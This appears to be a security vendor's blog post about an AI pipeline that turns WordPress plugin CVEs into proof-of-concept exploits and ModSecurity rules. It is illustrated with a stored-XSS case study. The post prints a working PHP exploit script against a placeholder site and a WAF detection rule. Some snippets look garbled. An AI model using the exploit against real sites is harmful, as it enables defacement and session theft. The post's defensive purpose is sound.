Atomic Edge has built a pipeline that transforms new WordPress plugin CVEs into proof-of-concept exploits and ModSecurity WAF rules within hours of disclosure, compressing the protection gap from days to hours.
Threat actors are already using AI to weaponize CVE advisories. A vague description like “unauthenticated IDOR via AJAX handler” is enough for an attacker with a language model to generate a working exploit in under an hour. Defenders get told to “update to version X as soon as possible” and nothing else. No visibility into what the attack traffic looks like. No way to block it at the edge before patching.
This pipeline closes that gap.
How the Pipeline Works
The system ingests CVE data from vulnerability feeds like the Wordfence Intelligence API, resolves the affected plugin versions, downloads both the vulnerable and patched ZIPs from WordPress.org, diffs the PHP files, and feeds the result into a large language model. The model produces three outputs: a root cause analysis, a proof-of-concept exploit, and a ModSecurity rule scoped to block the specific attack vector.
Rather than describing this abstractly, here is a real example from the pipeline.
Case Study: CVE-2025-14937 – Frontend Admin Unauthenticated Stored XSS
- Plugin: Frontend Admin by DynamiApps
- Severity: High (CVSS 7.2)
- Type: Unauthenticated Stored Cross-Site Scripting (CWE-79)
- Impact: Unauthenticated attackers can inject arbitrary JavaScript into WordPress posts via unsanitized form fields, executing in the browser of any visitor or administrator who views the affected page
Step 1: Version Resolution
The advisory states the vulnerability affects “all versions up to and including 3.28.23.” Wordfence’s affected version metadata uses a to_inclusive flag to indicate whether the upper bound is the last vulnerable release or the first patched one. The pipeline parses this flag, walks the WordPress.org version history, and identifies the exact two versions to compare: 3.28.23 (vulnerable) and 3.28.24 (patched).
Step 2: Differential Analysis
Both plugin ZIPs are downloaded, extracted into isolated directories, and the PHP files are compared. The diff immediately reveals the root cause in a single file, submit.php:
— a/acf-frontend-form-element/main/frontend/forms/classes/submit.php
+++ b/acf-frontend-form-element/main/frontend/forms/classes/submit.php
@@ -44,9 +44,13 @@
}
$input = ‘acff[‘ . $source . ‘][‘ . $key . ‘]’;
+ $value = apply_filters( ‘frontend_admin/forms/sanitize_input’, feadmin_sanitize_input( $value, $field ), $field );
+
// validate
$valid = $form_validate->validate_value( $value, $field, $input );
if ( $valid ) {
+ // sanitize input based on field settings
+
acf_update_value( $value, $source, $field );
if ( empty( $fields_select ) ) {
@@ -243,12 +247,7 @@
if( $form[‘kses’] ){
// sanitize input based on field settings
– $sanitized = apply_filters( ‘frontend_admin/forms/sanitize_input’, false, $input, $field );
– if( ! $sanitized ){
– $input = feadmin_sanitize_input( $input, $field );
– }else{
– $input = $sanitized;
– }
+ $input = apply_filters( ‘frontend_admin/forms/sanitize_input’, feadmin_sanitize_input( $input, $field ), $field );
}
if ( $field[‘type’] == ‘fields_select’ ) {Two things jump out from this diff:
- The primary code path had no sanitization at all. In the vulnerable version, $value from the POST data was passed directly into acf_update_value() after validation but without any sanitization. The patch inserts feadmin_sanitize_input() before the value is stored, stripping dangerous content like script tags.
- The secondary code path had a logic bug in its sanitization block. The old version passed false as the default value to apply_filters. If no filter was hooked, apply_filters returned false, the conditional evaluated !false as true, and execution fell into the feadmin_sanitize_input branch.
The vulnerability is clear: any anonymous visitor could POST a JavaScript payload through the Frontend Admin form fields, and it would be stored in the database unsanitized. When any user viewed the affected post, the script would execute in their browser.
Step 3: Proof-of-Concept Generation
The diff and CVE metadata are fed to the language model, which produces a self-contained PHP script demonstrating the exploit:
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided “AS IS” without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research – Proof of Concept
// CVE-2025-14937 – Frontend Admin by DynamiApps <= 3.28.23
// Unauthenticated Stored Cross-Site Scripting via ‘update_field’
$target_url = ‘http://vulnerable-wordpress-site.com’;
$ajax_url = $target_url . ‘/wp-admin/admin-ajax.php’;
$xss_payload = ‘alert("XSS Test");‘;
$post_data = array(
‘action’ => ‘frontend_admin/forms/update_field’,
‘acff[post][post_title]’ => $xss_payload
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
echo “HTTP Response Code: $http_code\n”;
echo “Response Body: $response\n”;
// Verification requires checking if the payload is stored and rendered.
?>The exploit is straightforward: POST to admin-ajax.php with the frontend_admin/forms/update_field action and an XSS payload in the acff[post][post_title] parameter. No authentication, no nonce, no special headers. The script tag is stored in the database. The next time anyone views the affected post, the payload executes in their browser. An attacker could use this to steal admin session cookies, inject keyloggers, or redirect visitors to phishing pages.
Step 4: ModSecurity Rule Generation
From the same diff, the model generates a WAF rule that blocks the attack at the edge, before the request reaches PHP:
Atomic Edge WAF Rule – CVE-2025-14937
SecRule REQUEST_URI “@streq /wp-admin/admin-ajax.php” \
“id:100514937,\
phase:2,\
deny,\
status:403,\
chain,\
msg:’CVE-2025-14937 via Frontend Admin AJAX – Unauthenticated Stored XSS’,\
severity:’CRITICAL’,\
tag:’CVE-2025-14937′,\
tag:’OWASP_CRS/WEB_ATTACK/XSS’,\
tag:’WordPress’,\
tag:’Plugin/Frontend-Admin'”
SecRule ARGS_POST:action “@streq frontend_admin/forms/update_field” “chain”
SecRule ARGS_POST “@rx acff[.][.]” \
“t:none,t:urlDecodeUni,t:htmlEntityDecode,t:jsDecode,t:cssDecode,chain”
SecRule ARGS_POST “@detectXSS”How This Rule Blocks the Attack
ModSecurity processes rules in phases. This rule fires in phase 2 (request body), after the full request has been received but before WordPress processes it.
The chain action links four conditions that must all match:
REQUEST_URI "@streq /wp-admin/admin-ajax.php": the request targets the WordPress AJAX handler. This narrows the scope so the rule only inspects AJAX traffic, not every request to the site.ARGS_POST:action "@streq frontend_admin/forms/update_field": the action parameter is the specific vulnerable AJAX action. This ensures the rule only fires for requests targeting the update_field endpoint, not the thousands of other legitimate AJAX actions WordPress handles.ARGS_POST "@rx acff[.][.]": a POST parameter matches the acff[…][…] pattern, the plugin’s form field structure. Before this check, four decode transforms are applied: URL decoding (urlDecodeUni), HTML entity decoding (htmlEntityDecode), JavaScript escape decoding (jsDecode), and CSS escape decoding (cssDecode). These handle the common encoding tricks attackers use to bypass naive pattern matching.ARGS_POST "@detectXSS": the parameter contains an XSS payload, detected by libinjection’s XSS fingerprinting engine. An attacker who URL-encodes the angle brackets, uses HTML entities like <script>, or wraps the payload in JavaScript escapes will still be caught because the transforms in the previous condition normalize the input before @detectXSS evaluates it.
This is narrowly scoped by design. A broad rule blocking all requests to admin-ajax.php would break every plugin on the site. A rule matching only the specific action, parameter structure, and XSS payload signature ensures zero false positives — normal form data like a post title of “My New Article” does not trigger @detectXSS, and only requests containing actual XSS signatures in the acff parameters are blocked.
Why This Vulnerability Type Is Ideal for WAF Rules
Not every vulnerability type can be meaningfully addressed by a WAF rule. XSS is one of the best candidates because the attack payload has a detectable signature: script tags, event handlers, javascript: URIs. A WAF can distinguish between a legitimate form value and an XSS payload by inspecting the content.
Compare this to something like an IDOR (Insecure Direct Object Reference), where the attack request is structurally identical to a legitimate request. The difference is only authorization context, which the WAF cannot see. Writing a ModSecurity rule for an IDOR either blocks all access to the endpoint (breaking functionality) or blocks nothing. There is no payload signature to detect.
The same logic applies to missing authorization checks and CSRF. For those vulnerability classes, the fix has to happen in application code. WAF rules are effective against injection-style vulnerabilities: XSS, SQL injection, PHP object injection, command injection, and SSRF with detectable URL patterns.
From Disclosure to Protection
The full pipeline runs autonomously: ingestion, version resolution, diff, AI analysis, PoC generation, and rule creation. Completed analyses are published to a searchable public archive, giving hosting providers, security teams, and site owners access to working PoCs and WAF rules for new vulnerabilities.
For sites that have not patched yet, the ModSecurity rule provides edge-level protection within hours of disclosure. For security teams, the PoC provides a concrete test to verify whether their WAF actually blocks the real attack. For the broader WordPress ecosystem, the published archive means every site owner benefits from the analysis, not just those who happened to read the advisory.
This supplementary technical detail enriches the understanding of how Atomic Edge’s automated CVE proof of concept pipeline transforms raw vulnerability disclosures into actionable PoCs and WAF rules, accelerating the compression of the protection gap for WordPress sites. By combining precise version resolution, focused code diffs, AI-driven analysis, and a robust publishing infrastructure, the system empowers security teams to rapidly detect, validate, and mitigate software vulnerabilities in real-world environments.
